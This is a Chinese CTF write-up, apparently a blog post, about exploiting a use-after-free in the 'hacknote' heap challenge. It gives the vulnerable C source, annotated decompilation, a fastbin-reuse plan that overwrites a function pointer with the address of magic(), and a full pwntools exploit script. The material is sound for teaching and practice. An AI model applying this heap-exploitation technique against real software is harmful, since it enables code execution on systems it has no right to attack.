pwn学习-UAF-hacknote

Use After Free
一、原理
Use After Free为当一个内存块被释放之后再次被使用。
具体分以下几种情况

1. 内存块被释放后,其对应的指针被设置为NULL,然后再次使用,自然程序会崩溃。
2. 内存块被释放后,其对应的指针没有被设置为NULL,然后在它下一次被使用之前,没有代码对这块内存块进行修改,那么程序很有可能可以正常运转。
3. 内存块被释放后,其对应的指针没有被设置为NULL,但是在它下一次使用之前,有代码对这块内存进行了修改,那么当程序再次使用这块内存时,就很有可能会出现奇怪的问题。

Use After Free漏洞主要是后两种。此外一般称被释放后没有被设置为 NULL 的内存指针为 dangling pointer。
#include <stdio.h>
#include <stdlib.h>

typedef struct name {
    char *myname;
    void (*func)(char *str);
} NAME;

void myprint(char *str) { printf("%s\n", str); }
void printmyname() { printf("call print my name\n"); }

int main() {
    NAME *a;
    a = (NAME *)malloc(sizeof(struct name));
    a->func = myprint;
    a->myname = "I can also use it";
    a->func("this is my function");
    // free without modify
    free(a);
    a->func("I can also use it");
    // free with modify
    a->func = printmyname;
    a->func("this is my function");
    // set NULL
    a = NULL;   //设置为空指针
    printf("this pogram will crash...\n");
    a->func("can not be printed...");
}
二、例题
0. 例题环境
https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/use_after_free/hitcon-training-hacknote
// 源码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

struct note {
  void (*printnote)();
  char *content;
};

struct note *notelist[5];
int count = 0;

void print_note_content(struct note *this) { puts(this->content); }

void add_note() {
  int i;
  char buf[8];
  int size;
  if (count > 5) {
    puts("Full");
    return;
  }
  for (i = 0; i < 5; i++) {
    if (!notelist[i]) {
      notelist[i] = (struct note *)malloc(sizeof(struct note));
      if (!notelist[i]) {
        puts("Alloca Error");
        exit(-1);
      }
      notelist[i]->printnote = print_note_content;
      printf("Note size :");
      read(0, buf, 8);
      size = atoi(buf);
      notelist[i]->content = (char *)malloc(size);
      if (!notelist[i]->content) {
        puts("Alloca Error");
        exit(-1);
      }
      printf("Content :");
      read(0, notelist[i]->content, size);
      puts("Success !");
      count++;
      break;
    }
  }
}

void del_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    free(notelist[idx]->content);
    free(notelist[idx]);
    puts("Success");
  }
}

void print_note() {
  char buf[4];
  int idx;
  printf("Index :");
  read(0, buf, 4);
  idx = atoi(buf);
  if (idx < 0 || idx >= count) {
    puts("Out of bound!");
    _exit(0);
  }
  if (notelist[idx]) {
    notelist[idx]->printnote(notelist[idx]);
  }
}

void magic() { system("cat flag"); }

void menu() {
  puts("----------------------");
  puts("       HackNote       ");
  puts("----------------------");
  puts(" 1. Add note          ");
  puts(" 2. Delete note       ");
  puts(" 3. Print note        ");
  puts(" 4. Exit              ");
  puts("----------------------");
  printf("Your choice :");
};

int main() {
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  char buf[4];
  while (1) {
    menu();
    read(0, buf, 4);
    switch (atoi(buf)) {
    case 1:
      add_note();
      break;
    case 2:
      del_note();
      break;
    case 3:
      print_note();
      break;
    case 4:
      exit(0);
      break;
    default:
      puts("Invalid choice");
      break;
    }
  }
  return 0;
}
1. 基本信息
$ checksec hacknote
Arch:     i386-32-little
RELRO:    Full RELRO
Stack:    Canary found
NX:       NX enabled          # 栈不可执行
PIE:      No PIE (0x8048000)  # 未开启aslr地址随机化

$ file hacknote
hacknote: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, BuildID[sha1]=68203ba307523a574ca3ccbd6d0126b334524614, for GNU/Linux 3.2.0, not stripped
2. IDA分析
设置程序的基址:Edit–>Segments–>Rebase Program改变基址0x8048000
// 主逻辑是菜单选择项,具备增加note、打印note和删除note的选项
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax
  char buf[4]; // [esp+0h] [ebp-10h] BYREF
  unsigned int v5; // [esp+4h] [ebp-Ch]
  int *v6; // [esp+8h] [ebp-8h]

  v6 = &argc;
  v5 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  setvbuf(stdin, 0, 2, 0);
  while ( 1 )
  {
    menu();
    read(0, buf, 4u);
    v3 = atoi(buf); //atoi(buf)"用于将字符串转换为整数
    if ( v3 == 4 )
      exit(0);
    if ( v3 > 4 )
    {
LABEL_12:
      puts("Invalid choice");
    }
    else
    {
      switch ( v3 )
      {
        case 1:
          add_note();
          break;
        case 2:
          del_note();
          break;
        case 3:
          print_note();
          break;
        default:
          goto LABEL_12;
      }
    }
  }
}
unsigned int add_note()
{
  int v0; // esi
  int i; // [esp+Ch] [ebp-1Ch]
  int size; // [esp+10h] [ebp-18h]
  char buf[8]; // [esp+14h] [ebp-14h] BYREF
  unsigned int v5; // [esp+1Ch] [ebp-Ch]

  v5 = __readgsdword(0x14u);
  // .bss:00004020 count           dd ?                    ; DATA XREF: add_note+1E↑r
  if ( count <= 5 ) // 最多添加5个note count是全局变量
  {
    for ( i = 0; i <= 4; ++i )
    {
    //.bss:0000400C notelist        dd ?                    ; DATA XREF: add_note+4F↑r
    // dword_0[0] = 0x00000000 dword_0[1]= 0x00000008
    // *(int *)((char *)&notelist + (_DWORD)&dword_0[i]) 
    // 获取notelist偏移一个4字节的地址,转换为int *类型后然后取其值,即notelist[i],这里我将其全部替换
      if ( !notelist[i])
      {
        notelist[i]= (int)malloc(8u); //0x8 用户申请内存大小 + 32位下chunk头大小 0x8 = 0x10
        if ( !notelist[i])
        {
          puts("Alloca Error");
          exit(-1);
        }
        // 将notelist[i]的地址转换为(_DWORD **),一个指向DWORD*的指针,然后解引用两次即取值
        // 结构体指针(地址)保存了两个指针(地址),第一个指针(地址)保存了printnote函数的地址,这样可以获得notelist[i]->printnote
        // **(_DWORD **)((char *)&notelist + (_DWORD)&dword_0[i])替换为notelist[i]->printnote
        notelist[i]->printnote = print_note_content;
        printf("Note size :");
        read(0, buf, 8u);
        size = atoi(buf); //将buf字符串转换为整型
        v0 = notelist[i];
        *(_DWORD *)(v0 + 4) = malloc(size);
        if ( !*(_DWORD *)(notelist[i]+ 4) )
        {
          puts("Alloca Error");
          exit(-1);
        }
        printf("Content :");
        read(0, *(void **)(notelist[i]+ 4), size);//向malloc(size)地址写入内容
        puts("Success !");
        ++count;
        return v5 - __readgsdword(0x14u);
      }
    }
  }
  else
  {
    puts("Full");
  }
  return v5 - __readgsdword(0x14u);
}
// 删除的时候,只是单纯进行了 free,而没有设置为NULL,那么显然,这里是存在Use After Free的情况的
unsigned int del_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(int *)((char *)&notelist + (_DWORD)&dword_0[v1]) )
  {
    free(*(void **)(*(int *)((char *)&notelist + (_DWORD)&dword_0[v1]) + 4));
    // free(notelist[v1]+4)
    free(*(void **)((char *)&notelist + (_DWORD)&dword_0[v1]));
    // free(notelist[v1])
    puts("Success");
  }
  return v3 - __readgsdword(0x14u);
}
unsigned int print_note()
{
  int v1; // [esp+4h] [ebp-14h]
  char buf[4]; // [esp+8h] [ebp-10h] BYREF
  unsigned int v3; // [esp+Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, buf, 4u);
  v1 = atoi(buf);
  if ( v1 < 0 || v1 >= count )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( *(int *)((char *)&notelist + (_DWORD)&dword_0[v1]) )
    (**(void (__cdecl ***)(_DWORD))((char *)&notelist + (_DWORD)&dword_0[v1]))(*(int *)((char *)&notelist + (_DWORD)&dword_0[v1]));
  // **(void (__cdecl ***)(_DWORD))notelist[v1](notelist[v1]) 即去执行print_note_content(notelist[v1])
  return v3 - __readgsdword(0x14u);
}
// .text:08048986 public magic  后门函数
int magic()
{
  return system("cat flag");
}
3. 利用分析
Use After Free的情况确实可能会发生,利用思路为通过Use after free来执行magic函数。
1. 分析add_note()函数

add_note()函数具有2个malloc函数

第一次malloc:
(1)*(int *)((char *)&notelist + (_DWORD)&dword_0[i]) = (int)malloc(8u);
  # notelist[i]= (int)malloc(8u);
(2)malloc的用户内存大小为0x8,加上32位下的chunk header大小0x8,实际申请的chunk大小为0x10,满足32位下的内存对齐,而且在malloc和free时为fast bin chunk
    另外需要注意的是malloc返回的指针是指向userdata的初始地址的
(3)**(_DWORD **)((char *)&notelist + (_DWORD)&dword_0[i]) = print_note_content;
  # notelist[i]->printnote = print_note_content;
notelist[i]是第一次malloc(0x8u)的用户数据部分,指向的是print_note_content的函数指针

第二次malloc:
*(_DWORD *)(v0 + 4) = malloc(size);
# 实际为 *(_DWORD *)(notelist[i] + 4) = malloc(size);
通过分析函数可以知道notelist[i]+4是第一次malloc(0x8u)的用户数据部分,其保存的是指向content的指针
所以每一个note生成的具体流程
(1). 程序申请8字节内存用来存放note中的print_note_content函数指针以及content指针。
(2). 程序根据输入的size来申请指定大小的内存,然后用来存储content。
   +----------------------------+                       
   | print_note_content pointer |                       
   +----------------------------+                       
   |   content  pointer         |-------->+----------------+                     
   +----------------------------+         |                |
                                          |     real       |
                                          |    content     |
                                          |                |
                                          +----------------+
2. 分析del_note()函数

del_note()函数具有2个free函数

第一次free:
free(*(void **)(*(int *)((char *)&notelist + (_DWORD)&dword_0[v1]) + 4));
# free(notelist[v1]+4)
释放了real content的指针,但是content pointer并没有设置为null

free(*(void **)((char *)&notelist + (_DWORD)&dword_0[v1]));
# free(notelist[v1])
释放了note的指针,但是note pointer并没有设置为null
3. 分析print_note()函数

(**(void (__cdecl ***)(_DWORD))((char *)&notelist + (_DWORD)&dword_0[v1]))(*(int *)((char *)&notelist + (_DWORD)&dword_0[v1]));
# **(void (__cdecl ***)(_DWORD))notelist[v1](notelist[v1]) 即去执行print_note_content(notelist[v1]) 打印real content的内容
4. 总体利用思路
修改note的print_note_content pointer为magic函数的地址,从而实现在执行print_note中的print_note_content函数时执行magic函数。
由于程序中只有唯一的地方notelist[i]->printnote = print_note_content;进行赋值。所以必须利用写realcontent的时候来进行覆盖。
具体思路如下:
note是一个fastbin chunk,大小为16(0x10)字节。
realcontent是一个可以控制的chunk,可以为fastbin chunk,也可以为其他类型bin的chunk

(1)申请note0,real content size为16(大小与note大小所在的bin不一样即可)
  # 这是因为note0的chunk大小为0x10,而real content size的chunk大小为0x18,
  # 在32位fastbinsY中,0x10和0x18由不同的fastbins进行管理,这样可以更好控制想要的fastbin freelist
  # 同时要注意的是32位的fastbinsY中,最小的chunk大小为0x10,0x8依次递增

(2)申请note1,real content size为16(大小与note大小所在的bin 不一样即可)
(3)释放note0
(4)释放note1
  # 此时,大小为 16(0x10)的fastbin chunk中freelist链表为note1->note0
  # fastbins遵循的是先进后出
(5)申请note2,并且设置real content的大小为8
  # 那么根据堆的分配规则
  # note2其实会分配note1对应的内存块。
  # real content对应的chunk其实是note0。
(6)向note2 real content的chunk部分写入magic的地址(0x4)+任意地址(0x4),由于note0指针没有设置为NULL。再次尝试输出note0的时候,程序就会调用magic函数。
4. GDB调试
使用exp的pwntools的gdb.attach(r)进行调试

heap
fastbins
heapinfo
parseheap
5. Expolit
# exp.py
from pwn import *

# context.log_level = "debug"

def addnote(size, content):
    r.recvuntil(b":")
    r.sendline(b"1")
    r.recvuntil(b":")
    r.sendline(str(size).encode('utf-8'))
    r.recvuntil(b":")
    r.sendline(content)

def delnote(idx):
    r.recvuntil(b":")
    r.sendline(b"2")
    r.recvuntil(b":")
    r.sendline(str(idx).encode('utf-8'))

def printnote(idx):
    r.recvuntil(b":")
    r.sendline(b"3")
    r.recvuntil(b":")
    r.sendline(str(idx).encode('utf-8'))

r = process('./hacknote')

magic = 0x08048986

# gdb.attach(r)
addnote(32, b"aaaa")
addnote(32, b"bbbb")
# pause()

delnote(0)
delnote(1)
addnote(8, p32(magic))
printnote(0)
flag = r.recvline()
print(flag)
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值